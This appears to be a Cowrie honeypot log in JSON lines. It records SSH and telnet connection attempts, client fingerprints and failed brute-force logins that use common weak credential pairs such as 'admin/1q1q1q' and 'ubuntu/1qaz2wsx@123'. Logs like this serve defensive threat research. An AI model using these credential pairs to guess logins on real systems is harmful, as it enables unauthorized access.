{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:26.612353Z","src_ip":"103.13.206.100","session":"70c8f5eec099","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"root1234","message":"login attempt [mysql/root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:27.598900Z","src_ip":"103.13.206.100","session":"70c8f5eec099","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:28.842900Z","src_ip":"103.13.206.100","session":"70c8f5eec099","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.53.58.141","src_port":50800,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a2a7a0a3f70","protocol":"telnet","message":"New connection: 185.53.58.141:50800 (10.17.0.5:23) [session: 8a2a7a0a3f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:33.006484Z"}
{"eventid":"cowrie.session.closed","duration":30.68110680580139,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:48.471318Z","src_ip":"185.53.58.141","session":"ffe6f06ea4ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":47460,"dst_ip":"10.17.0.5","dst_port":22,"session":"4fefbd88109d","protocol":"ssh","message":"New connection: 103.129.221.202:47460 (10.17.0.5:22) [session: 4fefbd88109d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:49.624335Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:49.629372Z","src_ip":"103.129.221.202","session":"4fefbd88109d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:50.712541Z","src_ip":"103.129.221.202","session":"4fefbd88109d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1q1q1q","message":"login attempt [admin/1q1q1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:52.437687Z","src_ip":"103.129.221.202","session":"4fefbd88109d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:03:53.688374Z","src_ip":"103.129.221.202","session":"4fefbd88109d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.12707161903381,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:06.133465Z","src_ip":"185.53.58.141","session":"8a2a7a0a3f70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":38698,"dst_ip":"10.17.0.5","dst_port":22,"session":"84d712c69a2f","protocol":"ssh","message":"New connection: 112.217.199.222:38698 (10.17.0.5:22) [session: 84d712c69a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:23.271913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:23.276640Z","src_ip":"112.217.199.222","session":"84d712c69a2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:23.490036Z","src_ip":"112.217.199.222","session":"84d712c69a2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1029384756","message":"login attempt [ubuntu/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:24.370770Z","src_ip":"112.217.199.222","session":"84d712c69a2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:25.586165Z","src_ip":"112.217.199.222","session":"84d712c69a2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":36048,"dst_ip":"10.17.0.5","dst_port":22,"session":"99f34742b86d","protocol":"ssh","message":"New connection: 152.32.171.213:36048 (10.17.0.5:22) [session: 99f34742b86d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:41.916843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:41.922887Z","src_ip":"152.32.171.213","session":"99f34742b86d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:42.138049Z","src_ip":"152.32.171.213","session":"99f34742b86d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"a1b2c3d4","message":"login attempt [ubuntu/a1b2c3d4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:43.032470Z","src_ip":"152.32.171.213","session":"99f34742b86d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":34814,"dst_ip":"10.17.0.5","dst_port":22,"session":"b48923e6255b","protocol":"ssh","message":"New connection: 103.13.206.100:34814 (10.17.0.5:22) [session: b48923e6255b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:43.996257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:44.000361Z","src_ip":"103.13.206.100","session":"b48923e6255b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:44.228150Z","src_ip":"103.13.206.100","session":"b48923e6255b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:44.250707Z","src_ip":"152.32.171.213","session":"99f34742b86d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx@123","message":"login attempt [ubuntu/1qaz2wsx@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:45.169610Z","src_ip":"103.13.206.100","session":"b48923e6255b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:46.404511Z","src_ip":"103.13.206.100","session":"b48923e6255b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.219","src_port":59342,"dst_ip":"159.203.135.109","dst_port":22,"session":"0631dab19ef2","protocol":"ssh","message":"New connection: 205.210.31.219:59342 (159.203.135.109:22) [session: 0631dab19ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:47.721396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:48.528214Z","src_ip":"205.210.31.219","session":"0631dab19ef2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:49.474764Z","src_ip":"205.210.31.219","session":"0631dab19ef2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.9","message":"Connection lost after 9.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:04:57.577563Z","src_ip":"205.210.31.219","session":"0631dab19ef2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.129.221.202","src_port":36142,"dst_ip":"10.17.0.5","dst_port":22,"session":"af9981f140b5","protocol":"ssh","message":"New connection: 103.129.221.202:36142 (10.17.0.5:22) [session: af9981f140b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:05:17.100262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:05:17.107394Z","src_ip":"103.129.221.202","session":"af9981f140b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:05:17.353555Z","src_ip":"103.129.221.202","session":"af9981f140b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nodeuser","password":"nodeuser","message":"login attempt [nodeuser/nodeuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:05:18.453510Z","src_ip":"103.129.221.202","session":"af9981f140b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:05:19.701741Z","src_ip":"103.129.221.202","session":"af9981f140b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":55790,"dst_ip":"10.17.0.5","dst_port":22,"session":"43f703a37529","protocol":"ssh","message":"New connection: 112.217.199.222:55790 (10.17.0.5:22) [session: 43f703a37529]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:05:27.874322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:05:27.878374Z","src_ip":"112.217.199.222","session":"43f703a37529","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:05:28.082607Z","src_ip":"112.217.199.222","session":"43f703a37529","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:05:28.940069Z","src_ip":"112.217.199.222","session":"43f703a37529","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:05:30.148472Z","src_ip":"112.217.199.222","session":"43f703a37529","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":51730,"dst_ip":"10.17.0.5","dst_port":22,"session":"2da71e1d4103","protocol":"ssh","message":"New connection: 103.13.206.100:51730 (10.17.0.5:22) [session: 2da71e1d4103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:06:02.291560Z"}
